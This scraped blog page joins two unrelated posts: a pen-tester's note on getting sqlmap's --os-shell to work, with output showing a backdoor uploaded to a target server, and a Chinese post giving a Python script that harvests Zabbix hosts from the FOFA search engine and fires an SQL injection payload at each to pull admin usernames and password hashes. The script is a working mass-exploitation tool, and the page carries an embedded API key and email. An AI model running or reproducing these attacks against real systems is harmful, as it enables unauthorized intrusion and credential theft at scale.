In my SANS classes, I tell students: Always Start with Valid Data (when performing SQL injection). If you identify a username parameter josh' that returns a database error, that’s great, but don’t supply that to sqlmap. Start with the valid data of josh, and let sqlmap figure out the rest (assisting sqlmap where necessary).

The problem here, and the reason for sqlmap’s empty files, is that the injected SELECT statement doesn’t return any records, so the delimiter PHP code is never written to a file. What does work is this:

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=pconnor&pass=pass' --os-shell

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[07:49:38] [WARNING] unable to retrieve automatically any web server path
[07:49:38] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:49:38] [INFO] the file stager has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpuiqxs.php
[07:49:38] [INFO] the backdoor has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpbubmd.php
[07:49:38] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> uname -a
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:    'Linux targetserver.mytarget.city.nw 3.2.0-33-generic #52-Ubuntu SMP Thu Oct 18 16:29:15 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux'
os-shell>

Replacing my put-any-username-here “josh” reference with a valid username causes the SQL statement to return at least one record, which prompts the database to write the handler code to the file and returns an os-shell.

A valuable lesson for me, and hopefully others find it useful as well.

FROM:http://www.willhackforsushi.com/?cat=12

python采集fofa批量扫描zabbix

发布时间:August 17, 2015 // 分类:开发笔记,linux,python,windows // No Comments

主要是利用fofa的采集功能,然后提取地址,再加载payload.把结果从里面提取出来

#!/usr/bin/python
#-*- encoding:utf-8 -*-

import urllib2,urllib,cookielib 
import re,sys 
import base64 
import os,json 
 
def vulwebsearch(keywords): 
    vulhostlist=[] 
    urlenkeywords=urllib2.quote(keywords) 
    searchurl="http://fofa.so/api/result?qbase64="+base64.b64encode(keywords)+"&amp;key=d69f306296e8ca95fded42970400ad23&amp;email=her0m@qq.com"
    req=urllib2.urlopen(searchurl) 
    restring=req.read() 
    restring=json.loads(restring) 
    zabbixsqli(restring['results']) 
        
def zabbixsqli(vulhostlist): 
    for vulhost in vulhostlist: 
        if not vulhost.startswith('http'): 
            vulhost="http://"+vulhost 
        zabbix_url=vulhost   
        try: 
            payload="""/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29"""
              
            content=urllib.urlopen(zabbix_url)   
            if content.getcode()==200: 
                fzadminmd5_url=zabbix_url+payload 
                req=urllib2.urlopen(fzadminmd5_url) 
                html=req.read() 
                adminmd5=re.findall("\~.*\~\~",html) 
                if len(adminmd5)==1: 
                    print zabbix_url,adminmd5 
        except: 
            pass
          
if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" fofa_zabbix.py "+"keywords"
        print "example:"+"python fofa_zabbix.py title=zabbix"
        sys.exit() 
    else: 
        vulwebsearch(sys.argv[1])

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...